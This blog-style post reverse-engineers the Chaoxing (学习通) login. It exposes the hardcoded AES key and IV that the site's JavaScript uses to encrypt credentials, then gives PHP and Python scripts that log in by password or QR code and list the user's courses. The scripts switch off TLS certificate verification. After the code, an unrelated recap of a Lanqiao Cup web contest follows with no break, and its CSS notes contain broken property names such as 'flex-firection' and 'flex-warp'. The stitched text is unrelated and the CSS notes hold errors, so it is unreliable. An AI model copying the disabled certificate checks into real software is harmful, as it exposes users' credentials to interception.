目录##1. 账号密码登录 ##2. 二维码登录因为要登录学某通查看一些东西，看着登录界面心血来潮，于是乎简单做一下逆向分析。此教程仅为学习记录。1. 账号密码登录先随便输入一下账号密码，调用了这个接口可以看到账号密码都进行了base64编码，看一下函数调用栈。可以看到在发送XHR请求前调用了两个方法 loginByPhoneAndPwd loginByPhoneAndPwdSubmit 跟进loginByPhoneAndPwdSubmit方法，打个断点。很不巧的就看到了输入的明文以及调用的加密函数，跳入加密函数中可以看到使用的是一个AES-CBC加密，并且iv向量与key相等都为u2oh6Vu^HWe4_AES function encryptByAES(message, key) { let CBCOptions = { iv: CryptoJS.enc.Utf8.parse(key), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }; let aeskey = CryptoJS.enc.Utf8.parse(key); let secretData = CryptoJS.enc.Utf8.parse(message); let encrypted = CryptoJS.AES.encrypt( secretData, aeskey, CBCOptions ); return CryptoJS.enc.Base64.stringify(encrypted.ciphertext); } 加密之后再对密文进行base64，由于账号密码都是同种加密方式，因此在了解加密方式和密钥之后，就可以自己封装实现了。2. 二维码登录没有看到请求返回二维码的XHR,所以登录二维码是在生成html的时候直接嵌入的。并且二维码是由uuid来进行获取。扫描一下二维码看看提交的参数这里用到的uuid和enc参数，这里我们不需要单独去分析uuid和enc是怎么生成的，因为这个是返回html的时候就写在里面的，所以只需要爬取页面，获得这两个参数就行了。一直看到浏览器不断的在请求https://passport2.chaoxing.com/getauthstatus/v2来获取登录结果同时也是根据uuid和enc来进行判断被扫描之后判断用户是否确认登录再进行跳转。分别使用php、python、node.js对上面的流程进行代码封装之后的运行结果。下面直接贴出代码php<?php mb_internal_encoding('UTF-8'); mb_http_output('UTF-8'); mb_regex_encoding('UTF-8'); date_default_timezone_set('Asia/Shanghai'); if (php_sapi_name() === 'cli') { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { @exec('chcp 65001 >nul 2>&1'); } } function encryptByAES($message, $key) { $key = mb_substr($key, 0, 16, 'UTF-8'); $iv = $key; $encrypted = openssl_encrypt( $message, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv ); return base64_encode($encrypted); } function loginWithPassword($username, $password) { $url = 'https://passport2.chaoxing.com/fanyalogin'; $encryptKey = "u2oh6Vu^HWe4_AES"; $encryptedUsername = encryptByAES($username, $encryptKey); $encryptedPassword = encryptByAES($password, $encryptKey); $postData = http_build_query([ 'fid' => '-1', 'uname' => $encryptedUsername, 'password' => $encryptedPassword, 'refer' => 'http%3A%2F%2Fi.mooc.chaoxing.com%2Fspace%2Findex%3Fnull', 't' => 'true', 'forbidotherlogin' => '0', 'validate' => '', 'doubleFactorLogin' => '0', 'independentId' => '0', 'independentNameId' => '0' ]); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_ENCODING => '', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept: application/json, text/plain, */*', 'Origin: https://passport2.chaoxing.com', 'Referer: https://passport2.chaoxing.com/login' ] ]); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return false; } $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $headerSize); $body = substr($response, $headerSize); curl_close($ch); $result = json_decode($body, true); if ($result === null) { return false; } $cookies = []; if (preg_match_all('/set-cookie:\s*([^\r\n]+)/i', $headers, $matches)) { foreach ($matches[1] as $cookieLine) { // 提取 cookie 键值对（第一个分号之前的部分） $cookieParts = explode(';', $cookieLine, 2); $cookie = trim($cookieParts[0]); if (!empty($cookie)) { $cookies[] = $cookie; } } } return [ 'status' => $result, 'cookies' => $cookies, 'cookieString' => implode('; ', $cookies) ]; } /** * 检查二维码扫描状态 */ function checkQrCodeStatus($uuid, $enc) { $url = 'https://passport2.chaoxing.com/getauthstatus/v2'; $postData = http_build_query([ 'enc' => $enc, 'uuid' => $uuid, 'doubleFactorLogin' => '0' ]); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_ENCODING => '', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept: application/json, text/plain, */*', 'Origin: https://passport2.chaoxing.com', 'Referer: https://passport2.chaoxing.com/login' ] ]); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return false; } $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $headers = substr($response, 0, $headerSize); $body = substr($response, $headerSize); curl_close($ch); $result = json_decode($body, true); if ($result === null) { return false; } $cookies = []; if (preg_match_all('/set-cookie:\s*([^\r\n]+)/i', $headers, $matches)) { foreach ($matches[1] as $cookieLine) { $cookieParts = explode(';', $cookieLine, 2); $cookie = trim($cookieParts[0]); if (!empty($cookie)) { $cookies[] = $cookie; } } } return [ 'status' => $result, 'cookies' => $cookies, 'cookieString' => implode('; ', $cookies) ]; } function getCourseList($cookieString) { $url = 'https://mooc1-1.chaoxing.com/mooc-ans/visit/courselistdata'; $postData = http_build_query([ 'courseType' => '1', 'courseFolderId' => '0', 'baseEducation' => '0', 'superstarClass' => '', 'courseFolderSize' => '1' ]); $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'Cookie: ' . $cookieString, 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept: application/json, text/plain, */*', 'Origin: https://mooc1-1.chaoxing.com', 'Referer: https://mooc1-1.chaoxing.com/' ] ]); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return false; } curl_close($ch); // 尝试解析JSON响应，如果失败则返回原始HTML $result = json_decode($response, true); if ($result !== null && json_last_error() === JSON_ERROR_NONE) { return $result; } else { // 返回HTML字符串 return $response; } } /** * 格式化输出课程列表 * @param string $html HTML内容 */ function formatCourseList($html) { libxml_use_internal_errors(true); $dom = new DOMDocument('1.0', 'UTF-8'); // 确保HTML使用UTF-8编码声明 if (!preg_match('/<meta[^>]+charset/i', $html) && !preg_match('/<\?xml[^>]+encoding/i', $html)) { $html = '<?xml encoding="UTF-8"?>' . $html; } @$dom->loadHTML($html); libxml_clear_errors(); $xpath = new DOMXPath($dom); // 查找所有课程 $courses = $xpath->query('//li[contains(@class, "course")]'); if ($courses->length == 0) { echo "未找到课程\n"; return; } echo "\n" . str_repeat("=", 80) . "\n"; echo "课程列表（共 " . $courses->length . " 门课程）\n"; echo str_repeat("=", 80) . "\n\n"; $index = 1; foreach ($courses as $course) { // 获取课程ID $courseId = $course->getAttribute('courseId'); $clazzId = $course->getAttribute('clazzId'); $personId = $course->getAttribute('personId'); // 获取课程名称 $courseNameNodes = $xpath->query('.//span[contains(@class, "course-name")]', $course); $courseName = $courseNameNodes->length > 0 ? trim($courseNameNodes->item(0)->textContent) : '未知课程'; // 获取课程链接 $linkNodes = $xpath->query('.//a[contains(@class, "color1")]', $course); $courseUrl = $linkNodes->length > 0 ? $linkNodes->item(0)->getAttribute('href') : ''; // 获取学校/机构 $schoolNodes = $xpath->query('.//p[contains(@class, "margint10")]', $course); $school = $schoolNodes->length > 0 ? trim($schoolNodes->item(0)->textContent) : ''; // 获取教师 - 查找所有包含title属性的p标签 $teacherNodes = $xpath->query('.//p[@title and contains(@class, "line2")]', $course); $teacher = ''; if ($teacherNodes->length > 0) { // 优先使用title属性 foreach ($teacherNodes as $node) { $title = trim($node->getAttribute('title')); $text = trim($node->textContent); if (!empty($title) && $title !== $school && !preg_match('/开课时间|课程已结束/', $title)) { $teacher = $title; break; } elseif (!empty($text) && $text !== $school && !preg_match('/开课时间|课程已结束/', $text)) { $teacher = $text; break; } } // 如果还没找到，尝试查找所有line2类的p标签 if (empty($teacher)) { $allLine2Nodes = $xpath->query('.//p[contains(@class, "line2")]', $course); foreach ($allLine2Nodes as $node) { $text = trim($node->textContent); if (!empty($text) && $text !== $school && !preg_match('/开课时间|课程已结束|^\s*$/', $text)) { $teacher = $text; break; } } } } // 获取开课时间 $timeNodes = $xpath->query('.//p[contains(text(), "开课时间")]', $course); $courseTime = $timeNodes->length > 0 ? trim($timeNodes->item(0)->textContent) : ''; // 检查是否已结束 $isEnded = $xpath->query('.//a[contains(@class, "not-open-tip")]', $course)->length > 0; // 格式化输出 echo sprintf("%d. %s\n", $index, $courseName); if (!empty($school)) { echo " 学校/机构: {$school}\n"; } if (!empty($teacher)) { echo " 授课教师: {$teacher}\n"; } if (!empty($courseTime)) { echo " {$courseTime}\n"; } echo " 课程ID: {$courseId} | 班级ID: {$clazzId} | 人员ID: {$personId}\n"; if ($isEnded) { echo " 状态: 课程已结束\n"; } if (!empty($courseUrl)) { echo " 链接: {$courseUrl}\n"; } echo "\n" . str_repeat("-", 80) . "\n\n"; $index++; } } // 选择登录方式 $loginMethod = ''; if (php_sapi_name() === 'cli') { // 命令行模式：可以选择登录方式 // 可以通过命令行参数指定 if (isset($argv[1]) && $argv[1] === 'password') { $loginMethod = 'password'; } elseif (isset($argv[1]) && $argv[1] === 'qr') { $loginMethod = 'qr'; } else { // 如果没有指定，提示用户选择 echo "\n请选择登录方式：\n"; echo "1. 二维码登录（默认）\n"; echo "2. 账号密码登录\n"; echo "请输入选项 (1 或 2，直接回车默认选择1): "; $input = trim(fgets(STDIN)); if ($input === '2' || strtolower($input) === 'password') { $loginMethod = 'password'; } else { $loginMethod = 'qr'; } } } else { // Web模式默认使用二维码 $loginMethod = 'qr'; } // 如果是账号密码登录 if ($loginMethod === 'password') { // 从命令行参数或环境变量获取账号密码 $username = ''; $password = ''; if (php_sapi_name() === 'cli') { if (isset($argv[2])) { $username = $argv[2]; } if (isset($argv[3])) { $password = $argv[3]; } // 如果没有提供，提示输入 if (empty($username)) { echo "请输入用户名: "; $username = trim(fgets(STDIN)); } if (empty($password)) { echo "请输入密码: "; // 隐藏密码输入（Windows下可能不支持） $password = trim(fgets(STDIN)); } } if (empty($username) || empty($password)) { echo "错误：用户名和密码不能为空\n"; echo "使用方法: php xxt.php password <用户名> <密码>\n"; exit(1); } echo "正在使用账号密码登录...\n"; $loginResult = loginWithPassword($username, $password); if ($loginResult === false) { echo "登录请求失败\n"; exit(1); } $statusData = $loginResult['status']; $statusStr = json_encode($statusData, JSON_UNESCAPED_UNICODE); echo "[" . date('Y-m-d H:i:s') . "] 登录响应: {$statusStr}\n"; // 检查登录是否成功 if (isset($statusData['status']) && $statusData['status'] === true) { echo "\n✓ 登录成功！\n"; // 提取 cookie 并获取课程列表 if (!empty($loginResult['cookieString'])) { echo "\n正在获取课程列表...\n"; $courseList = getCourseList($loginResult['cookieString']); if ($courseList !== false) { // 检查返回的是HTML还是JSON if (is_string($courseList) && (stripos($courseList, '<html') !== false || stripos($courseList, '<li') !== false)) { // 如果是HTML格式，使用格式化函数 formatCourseList($courseList); } else { // 如果是JSON格式 echo "\n课程列表数据：\n"; echo json_encode($courseList, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT) . "\n"; } } else { echo "获取课程列表失败\n"; } } else { echo "警告：未获取到 Cookie\n"; } } else { $errorMsg = isset($statusData['msg2']) ? $statusData['msg2'] : (isset($statusData['msg']) ? $statusData['msg'] : '登录失败'); echo "\n✗ 登录失败: {$errorMsg}\n"; exit(1); } exit(0); } // 二维码登录方式 $url = 'https://passport2.chaoxing.com/login'; $headers = [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding: gzip, deflate, br, zstd', 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Connection: keep-alive', 'Host: passport2.chaoxing.com', 'Sec-Fetch-Dest: document', 'Sec-Fetch-Mode: navigate', 'Sec-Fetch-Site: none', 'Sec-Fetch-User: ?1', 'Upgrade-Insecure-Requests: 1', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"', 'sec-ch-ua-mobile: ?0', 'sec-ch-ua-platform: "Windows"' ]; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_HTTPHEADER => $headers, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10 ]); $html = curl_exec($ch); if ($html === false) { exit('cURL Error: ' . curl_error($ch)); } curl_close($ch); $uuid = $enc = null; libxml_use_internal_errors(true); $dom = new DOMDocument('1.0', 'UTF-8'); @$dom->loadHTML($html); libxml_clear_errors(); $xpath = new DOMXPath($dom); $uuidNodes = $xpath->query('//input[@id="uuid"]'); if ($uuidNodes->length > 0) { $uuid = $uuidNodes->item(0)->getAttribute('value'); } $encNodes = $xpath->query('//input[@id="enc"]'); if ($encNodes->length > 0) { $enc = $encNodes->item(0)->getAttribute('value'); } if ($uuid) { $qrCodeUrl = "https://passport2.chaoxing.com/createqr?uuid={$uuid}&fid=-1"; $ch = curl_init($qrCodeUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => [ 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8' ] ]); $qrImage = curl_exec($ch); if ($qrImage === false) { echo "获取二维码失败: " . curl_error($ch) . "\n"; } else { if (php_sapi_name() === 'cli') { echo "uuid: {$uuid}\n"; echo "enc: " . ($enc ?: '未找到') . "\n"; echo "二维码URL: {$qrCodeUrl}\n\n"; $base64 = base64_encode($qrImage); echo "\033]1337;File=inline=1;width=auto:" . $base64 . "\a\n"; echo "\033_Ga=T,f=100,s=200,v=200;" . $base64 . "\033\\\n"; echo "\n提示：如果二维码未显示，请复制上面的URL到浏览器查看\n"; if ($enc) { echo "\n开始检查二维码扫描状态...\n"; echo "按 Ctrl+C 可以停止检查\n\n"; $maxAttempts = 300; $attempt = 0; while ($attempt < $maxAttempts) { $result = checkQrCodeStatus($uuid, $enc); if ($result === false) { if ($attempt % 10 == 0) { echo "[" . date('Y-m-d H:i:s') . "] 检查失败，重试中...\n"; } } else { $statusData = $result['status']; if (isset($statusData['status']) && $statusData['status'] === true) { $statusStr = json_encode($statusData, JSON_UNESCAPED_UNICODE); echo "[" . date('Y-m-d H:i:s') . "] 状态: {$statusStr}\n"; echo "\n✓ 二维码已被扫描，登录成功！\n"; if (!empty($result['cookieString'])) { echo "\n正在获取课程列表...\n"; $courseList = getCourseList($result['cookieString']); if ($courseList !== false) { if (is_string($courseList) && (stripos($courseList, '<html') !== false || stripos($courseList, '<li') !== false)) { formatCourseList($courseList); } else { echo "\n课程列表数据：\n"; echo json_encode($courseList, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT) . "\n"; } } else { echo "获取课程列表失败\n"; } } else { echo "警告：未获取到 Cookie\n"; } break; } else { if ($attempt % 5 == 0) { $statusStr = json_encode($statusData, JSON_UNESCAPED_UNICODE); echo "[" . date('Y-m-d H:i:s') . "] 等待扫描... 状态: {$statusStr}\n"; } } } $attempt++; sleep(1); } if ($attempt >= $maxAttempts) { echo "\n检查超时，请重新运行程序\n"; } } } else { // Web模式：直接输出图片 header('Content-Type: image/png'); echo $qrImage; exit; // 输出图片后退出 } } curl_close($ch); } else { echo "uuid: 未找到，无法生成二维码\n"; echo "enc: " . ($enc ?: '未找到') . "\n"; } ?> python#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import re import json import time import sys import os from datetime import datetime from bs4 import BeautifulSoup from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 import pytz tz = pytz.timezone('Asia/Shanghai') if sys.platform == 'win32': try: os.system('chcp 65001 >nul 2>&1') except: pass def encrypt_by_aes(message, key): key = key[:16].encode('utf-8') iv = key cipher = AES.new(key, AES.MODE_CBC, iv) padded_data = pad(message.encode('utf-8'), AES.block_size) encrypted = cipher.encrypt(padded_data) return base64.b64encode(encrypted).decode('utf-8') def login_with_password(username, password): url = 'https://passport2.chaoxing.com/fanyalogin' encrypt_key = "u2oh6Vu^HWe4_AES" encrypted_username = encrypt_by_aes(username, encrypt_key) encrypted_password = encrypt_by_aes(password, encrypt_key) data = { 'fid': '-1', 'uname': encrypted_username, 'password': encrypted_password, 'refer': 'http%3A%2F%2Fi.mooc.chaoxing.com%2Fspace%2Findex%3Fnull', 't': 'true', 'forbidotherlogin': '0', 'validate': '', 'doubleFactorLogin': '0', 'independentId': '0', 'independentNameId': '0' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept': 'application/json, text/plain, */*', 'Origin': 'https://passport2.chaoxing.com', 'Referer': 'https://passport2.chaoxing.com/login' } try: response = requests.post(url, data=data, headers=headers, verify=False, timeout=10) result = response.json() cookies = [] for cookie in response.cookies: cookies.append(f"{cookie.name}={cookie.value}") return { 'status': result, 'cookies': cookies, 'cookieString': '; '.join(cookies) } except Exception as e: print(f"登录请求失败: {e}") return None def check_qr_code_status(uuid, enc): """ 检查二维码扫描状态 """ url = 'https://passport2.chaoxing.com/getauthstatus/v2' data = { 'enc': enc, 'uuid': uuid, 'doubleFactorLogin': '0' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept': 'application/json, text/plain, */*', 'Origin': 'https://passport2.chaoxing.com', 'Referer': 'https://passport2.chaoxing.com/login' } try: response = requests.post(url, data=data, headers=headers, verify=False, timeout=10) result = response.json() cookies = [] for cookie in response.cookies: cookies.append(f"{cookie.name}={cookie.value}") return { 'status': result, 'cookies': cookies, 'cookieString': '; '.join(cookies) } except Exception as e: return None def get_course_list(cookie_string): """ 获取课程列表 """ url = 'https://mooc1-1.chaoxing.com/mooc-ans/visit/courselistdata' data = { 'courseType': '1', 'courseFolderId': '0', 'baseEducation': '0', 'superstarClass': '', 'courseFolderSize': '1' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': cookie_string, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'Accept': 'application/json, text/plain, */*', 'Origin': 'https://mooc1-1.chaoxing.com', 'Referer': 'https://mooc1-1.chaoxing.com/' } try: response = requests.post(url, data=data, headers=headers, verify=False, timeout=10) return response.text except Exception as e: return None def format_course_list(html): soup = BeautifulSoup(html, 'html.parser') courses = soup.find_all('li', class_='course') if not courses: print("未找到课程") return print("\n" + "=" * 80) print(f"课程列表（共 {len(courses)} 门课程）") print("=" * 80 + "\n") for index, course in enumerate(courses, 1): course_id = course.get('courseid', '') clazz_id = course.get('clazzid', '') person_id = course.get('personid', '') course_name_elem = course.find('span', class_='course-name') course_name = course_name_elem.get('title', course_name_elem.text.strip()) if course_name_elem else '未知课程' link_elem = course.find('a', class_='color1') course_url = link_elem.get('href', '') if link_elem else '' school_elem = course.find('p', class_='margint10') school = school_elem.text.strip() if school_elem else '' teacher = '' line2_elems = course.find_all('p', class_='line2') for elem in line2_elems: text = elem.text.strip() title = elem.get('title', '') if text and text != school and '开课时间' not in text and '课程已结束' not in text: teacher = title if title else text break time_elem = course.find('p', string=re.compile('开课时间')) course_time = time_elem.text.strip() if time_elem else '' # 检查是否已结束 is_ended = course.find('a', class_='not-open-tip') is not None # 格式化输出 print(f"{index}. {course_name}") if school: print(f" 学校/机构: {school}") if teacher: print(f" 授课教师: {teacher}") if course_time: print(f" {course_time}") print(f" 课程ID: {course_id} | 班级ID: {clazz_id} | 人员ID: {person_id}") if is_ended: print(" 状态: 课程已结束") if course_url: print(f" 链接: {course_url}") print("\n" + "-" * 80 + "\n") def main(): login_method = '' if len(sys.argv) > 1: if sys.argv[1] == 'password': login_method = 'password' elif sys.argv[1] == 'qr': login_method = 'qr' if not login_method: print("\n请选择登录方式：") print("1. 二维码登录（默认）") print("2. 账号密码登录") choice = input("请输入选项 (1 或 2，直接回车默认选择1): ").strip() if choice == '2' or choice.lower() == 'password': login_method = 'password' else: login_method = 'qr' # 账号密码登录 if login_method == 'password': username = '' password = '' if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if not username: username = input("请输入用户名: ").strip() if not password: password = input("请输入密码: ").strip() if not username or not password: print("错误：用户名和密码不能为空") print("使用方法: python xxt.py password <用户名> <密码>") sys.exit(1) print("正在使用账号密码登录...") login_result = login_with_password(username, password) if not login_result: print("登录请求失败") sys.exit(1) status_data = login_result['status'] status_str = json.dumps(status_data, ensure_ascii=False) current_time = datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S') print(f"[{current_time}] 登录响应: {status_str}") if status_data.get('status') == True: print("\n✓ 登录成功！") if login_result.get('cookieString'): print("\n正在获取课程列表...") course_list = get_course_list(login_result['cookieString']) if course_list: if '<li' in course_list or '<html' in course_list.lower(): format_course_list(course_list) else: print("\n课程列表数据：") print(json.dumps(json.loads(course_list), ensure_ascii=False, indent=2)) else: print("获取课程列表失败") else: print("警告：未获取到 Cookie") else: error_msg = status_data.get('msg2') or status_data.get('msg', '登录失败') print(f"\n✗ 登录失败: {error_msg}") sys.exit(1) sys.exit(0) # 二维码登录 url = 'https://passport2.chaoxing.com/login' headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Encoding': 'gzip, deflate, br, zstd', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Connection': 'keep-alive', 'Host': 'passport2.chaoxing.com', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-User': '?1', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0', 'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"' } try: response = requests.get(url, headers=headers, verify=False, timeout=10) html = response.text # 提取 uuid 和 enc soup = BeautifulSoup(html, 'html.parser') uuid_elem = soup.find('input', {'id': 'uuid'}) enc_elem = soup.find('input', {'id': 'enc'}) uuid = uuid_elem.get('value') if uuid_elem else None enc = enc_elem.get('value') if enc_elem else None if uuid: qr_code_url = f"https://passport2.chaoxing.com/createqr?uuid={uuid}&fid=-1" # 获取二维码图片 qr_response = requests.get(qr_code_url, verify=False, timeout=10) if qr_response.status_code == 200: print(f"uuid: {uuid}") print(f"enc: {enc if enc else '未找到'}") print(f"二维码URL: {qr_code_url}\n") # 保存二维码图片 qr_filename = f'qrcode_{uuid}.png' with open(qr_filename, 'wb') as f: f.write(qr_response.content) print(f"二维码已保存为: {qr_filename}\n") print("提示：请使用学习通APP扫描二维码\n") # 轮询检查二维码扫描状态 if enc: print("开始检查二维码扫描状态...") print("按 Ctrl+C 可以停止检查\n") max_attempts = 300 attempt = 0 while attempt < max_attempts: result = check_qr_code_status(uuid, enc) if not result: if attempt % 10 == 0: current_time = datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S') print(f"[{current_time}] 检查失败，重试中...") else: status_data = result['status'] if status_data.get('status') == True: status_str = json.dumps(status_data, ensure_ascii=False) current_time = datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S') print(f"[{current_time}] 状态: {status_str}") print("\n✓ 二维码已被扫描，登录成功！") if result.get('cookieString'): print("\n正在获取课程列表...") course_list = get_course_list(result['cookieString']) if course_list: if '<li' in course_list or '<html' in course_list.lower(): format_course_list(course_list) else: print("\n课程列表数据：") print(json.dumps(json.loads(course_list), ensure_ascii=False, indent=2)) else: print("获取课程列表失败") else: print("警告：未获取到 Cookie") break else: if attempt % 5 == 0: status_str = json.dumps(status_data, ensure_ascii=False) current_time = datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S') print(f"[{current_time}] 等待扫描... 状态: {status_str}") attempt += 1 time.sleep(1) if attempt >= max_attempts: print("\n检查超时，请重新运行程序") else: print("获取二维码失败") else: print("uuid: 未找到，无法生成二维码") print(f"enc: {enc if enc else '未找到'}") except Exception as e: print(f"错误: {e}") sys.exit(1) if __name__ == '__main__': import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()
本次蓝桥杯省赛在4月13号结束，并在省赛中取得了一等奖的成绩，题目放在文末。本次记录主要是复盘一下知识点，引用官方题解，如果大佬们有更好的方法，欢迎交流学习~我之前留意到一位UP主推荐的这本书，觉得挺吸引人的，于是入手了一本。该书出自外国作者之手并已被译成中文。阅读之后，我发现它的确颇有价值，特别是它为我提供了全新的视角去理解这门语言，尤其是在函数式编程和异步编程领域，让我收获了不一样的见解和领悟。1、智能停车系统第一题是“签到题”，也就是证明你来参加过比赛的，考察的是css中的[scode type="green"]flex布局和grid布局[/scode]它们是css3新增的响应式布局，比较常用。另外还有浮动、定位、边距等实现布局的方式，在flex布局中，主要分为主轴，和侧轴，默认为主轴方向排列(flex-firection:row)，而以下代码分别作用于父元素与子元素作用于父元素：display:flex； justify-content:center; /*沿着轴的方向布局方式(居中)*/ flex-direction：column; /*改变轴的方向为垂直方向：*/ align-item:center; /*交叉轴的排列方式(居中)*/ flex-warp:warp； /*换行*/ 子元素flex-shrink:0； /*不允许被挤压*/ flex:flex-grow flex-shrink flex-basis； /*缩写形式*/ order:1； /*改变顺序*/ 因此本题的答案只需要在最后三行添加代码即可.cars { position: absolute; z-index: 2; display: flex; width: 600px; height: 600px; flex-direction: column; /* TODO: 请在下方编写题目代码，不要更改其他选择器里的代码 */ flex-wrap: wrap; align-content:space-between; justify-content:space-between; } ，并且文档中的提示均已给出，直接使用space-around即可实现2、布局切换js中较为经典的题目了，同样也是签到题。“干掉他人，留下自己”是这道题的精髓，也就是当按钮被点击的时候，就取消所有样式，再给自己添加上这个样式 option.addEventListener('click', function () { for (const otherOption of layoutOptions) { // 移除其他选项的 active 类 otherOption.classList.remove('active'); } // TODO：待补充代码 this.classList.add('active'); // 为当前选项添加active类 } 3、产品 360 度展示开始上点难度了，考察的是Promise以及async，awaitPromise的出现是解决回调地狱的问题，而async则是Promise和generator结合的语法糖，使得异步编程同步化 ，在执行同步操作的时候也不会造成阻塞。const pipeline = async (initialValue, sequence) => { let res = initialValue; for (const fn of sequence) { res = await fn(res); } return res; }; 4、多表单验证考察的是Elementplus的表单验证 ，对于我来说，最难受的就是做布局的题目了。这个题我当时想着后面做，结果发现没时间了。const validateName = (rule, value, callback) => { if (value === "") { callback(new Error("请输入姓名")); } else { const reg = /[^\u4e00-\u9fa5]/g; if (reg.test(value)) { callback(new Error("只能输入汉字")); } callback(); } }; // TODO-3：书写表单校验规则，并绑定到对应表单上 const rules = reactive({ name: [ { required: true, message: "请输入姓名", trigger: "blur" }, { validator: validateName, trigger: "blur" }, ], sex: [{ required: true, message: "请选择性别", trigger: "change" }], age: [{ required: true, message: "请输入年龄", trigger: "blur" }], isCompetition: [ { required: true, message: "请选择是否参加过编程比赛", trigger: "change" }, ], isEntrepreneurship: [ { required: true, message: "请选择是否有过创业经历", trigger: "change" }, ], }); 